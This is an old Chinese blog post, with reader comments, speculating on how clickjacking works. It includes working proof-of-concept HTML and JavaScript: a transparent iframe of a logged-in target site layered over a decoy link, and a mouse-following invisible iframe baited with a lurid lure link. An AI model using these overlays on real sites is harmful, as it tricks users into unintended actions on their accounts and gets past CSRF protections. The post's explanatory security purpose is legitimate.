百度空间 | 百度首页 
               
 
查看文章
 
Clickjacking猜想
2008-10-07 20:40

最初看到有Clickjacking这个东西还是在大风那里,被人说的玄天玄地的,也不知道到底是个怎么样的东西。今天又看到一个demo,也不知道是真是假。但如果是真的,那么Clickjacking应该是这样一个东西:

在一个页面通过iframe载入目标页面——这个目标页面所在的网站应该处于登陆状态。然后通过透明度来隐藏该iframe,并使z轴处于顶上,最后在希望用户点击该iframe的位置的地方(z轴比iframe小),放一个按钮或连接。用户认为自己是在点击按钮或连接,实际上是点击了iframe中的相关操作。用代码的表现如下:

<a href="http://www.google.com/" style="position:absolute; left:265px; top:145px ;z-index:1">monyer</a>
<iframe src="http://www.baidu.com/" scrolling="no" frameborder="0" width="100%" height="300px" style="position:absolute;left:0px;top:0px;z-index:2;opacity:.1;filter: alpha(opacity=10); -moz-opacity: 0.1;"></iframe>

这个也就是所谓的不需要任何脚本的,所以禁用脚本没用,但当然如果你不禁用脚本,攻击起来可能更方便些:

用一浮动层载iframe,然后这个iframe的尺寸绝对小并通过滚动条的控制来保留必要连接,然后做层跟踪鼠标的移动,使得必要连接始终处于鼠标正下方,这样用户的任何点击都会导致攻击的产生。

demo的代码如下:

<a style="position:absolute; left:850; top:620" href="http://cnn.com">click here for lindsay lohan nudes</a>

<SCRIPT type="text/javascript">
if (document.getElementById || document.all)
document.write('<div id="trailimageid" style="position:absolute;left:0px;top:0px;width:100px;height:100px"><IFRAME id="ifra" SRC="http://www.netflix.com/MemberHome" scrolling=no frameborder=0 width="100" height="100" style="opacity:.1;filter: alpha(opacity=1); -moz-opacity: 0.1;"></iframe></div>')

function gettrailobj(){
if (document.getElementById)
    return document.getElementById("trailimageid").style
else if (document.all)
    return document.all.trailimagid.style
}

function truebody(){
return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function followmouse(e){
var xcoord= 0
var ycoord= 0
if (typeof e != "undefined"){
    xcoord+=e.pageX - 50
    ycoord+=e.pageY - 50
} else if (typeof window.event !="undefined"){
    xcoord+=truebody().scrollLeft+event.clientX
    ycoord+=truebody().scrollTop+event.clientY
}
var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15
var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight)
if (xcoord+50+3>docwidth || ycoord+50> docheight)
    gettrailobj().display="none"
else
    gettrailobj().display=""
gettrailobj().left=xcoord+"px"
gettrailobj().top=ycoord+"px"
}

document.onmousemove=followmouse
</SCRIPT>

不过这个demo写得显然不够完美,有很多的错误。

但不知道Clickjacking事实是否如此,以上仅仅是Monyer个人的一点猜想。但即便不是如此,那么这种攻击方式也是很可行了,而且对于防御xsrf而使用的token可以完美地绕过,因为就是正常的点击嘛。但跟xsrf不同的是,目标网站几乎是无法进行防御阻止的。(maybe no iframe)

Monyer !


类别:脚本攻防 | 添加到搜藏 | 浏览() | 评论 (13)
 
最近读者:
 
网友评论:
1
2008-10-07 20:47 | 回复
 
13
2008-10-07 20:49 | 回复
人家好久没有占到SF了耶~~
 
22
2008-10-07 20:57 | 回复
真强,monyer,看你的博客真伤自尊
 
23
2008-10-07 21:03 | 回复
我只坐了一层沙发!!!!!!!!!!~~!!!
 
24
2008-10-07 22:27 | 回复
也不知道是什么东西
 
25
2008-10-08 02:28 | 回复
禁用脚本对“做层跟踪鼠标的移动,使得必要连接始终处于鼠标正下方”有用吗?
 
26
2008-10-08 09:07 | 回复
真好
 
27
2008-10-08 10:06 | 回复
回复tblc,有用。
 
28
2008-10-08 12:54 | 回复
很可怕啊,对手机应该无效....
 
29
2008-10-08 12:55 | 回复
很可怕啊,对手机应该无效....
 
30
2008-10-08 12:55 | 回复
很可怕啊,对手机应该无效....
 
31
2008-10-08 14:08 | 回复
monyer真混蛋。
 
32
2008-10-08 14:20 | 回复
你才混蛋呢@!
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu